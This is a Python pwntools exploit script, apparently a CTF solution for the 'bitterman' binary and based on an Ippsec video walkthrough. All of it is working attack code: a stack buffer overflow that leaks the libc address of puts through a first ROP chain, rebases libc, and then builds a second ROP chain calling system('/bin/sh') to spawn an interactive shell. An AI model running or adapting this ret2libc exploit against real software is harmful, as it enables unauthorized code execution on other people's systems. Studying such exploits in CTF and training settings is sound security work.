#
# Pwntools version of exploit code from Ippsec Bitterman video
#
# https://youtu.be/6S4A2nhHdWg
#

from pwn import * 

context(terminal=['tmux', 'new-window'])

p = process('./bitterman')
# p = gdb.debug('./bitterman', 'b main')

context(os='linux', arch='amd64')

# context.log_level = 'DEBUG'
# objdump -D bitterman | grep puts
# 400520:       ff 25 2a 07 20 00       jmpq   *0x20072a(%rip)        # 600c50 <puts@GLIBC_2.2.5>


bitterman = ELF('bitterman', checksec=False)
libc = ELF('libc.so.6', checksec=False)
rop = ROP(bitterman)

# Stage 1:

junk = "A" * 152
rop.search(regs=['rdi'], order = 'regs')
rop.puts(bitterman.got['puts'])
rop.call(bitterman.symbols['main'])
# log.info(f"Stage 1 ROP Chain: \n{rop.dump()}")


# > What's your name? 
# ippsec
# Hi, ippsec

# > Please input the length of your message: 
# 12
# > Please enter your text: 
# test
# > Thanks!

payload = junk.encode('latin1') + rop.chain()

p.recvuntil("> What's your name?")
p.sendline("ippsec")
p.recvuntil("> Please input the length of your message:")
p.sendline("1024")
p.recvuntil("> Please enter your text:")
p.sendline(payload)
p.recvuntil("Thanks!\n")
leaked_puts = p.recv()[:7].strip().ljust(8, b"\x00")
log.success(f"Leaked puts@GLIBC: {leaked_puts}")

leaked_puts = u64(leaked_puts)

# Stage 2: Rebase libc and calculate offsets

libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b"/bin/sh\x00")))
# log.info(f"Stage 2 ROP Chain:\n {rop2.dump()}")

payload = junk.encode('latin1') + rop2.chain()

p.sendline("ippsec")
p.recvuntil("> Please input the length of your message:")
p.sendline("1024")
p.recvuntil("> Please enter your text:")
p.sendline(payload)
p.recvuntil("Thanks!")
p.interactive()


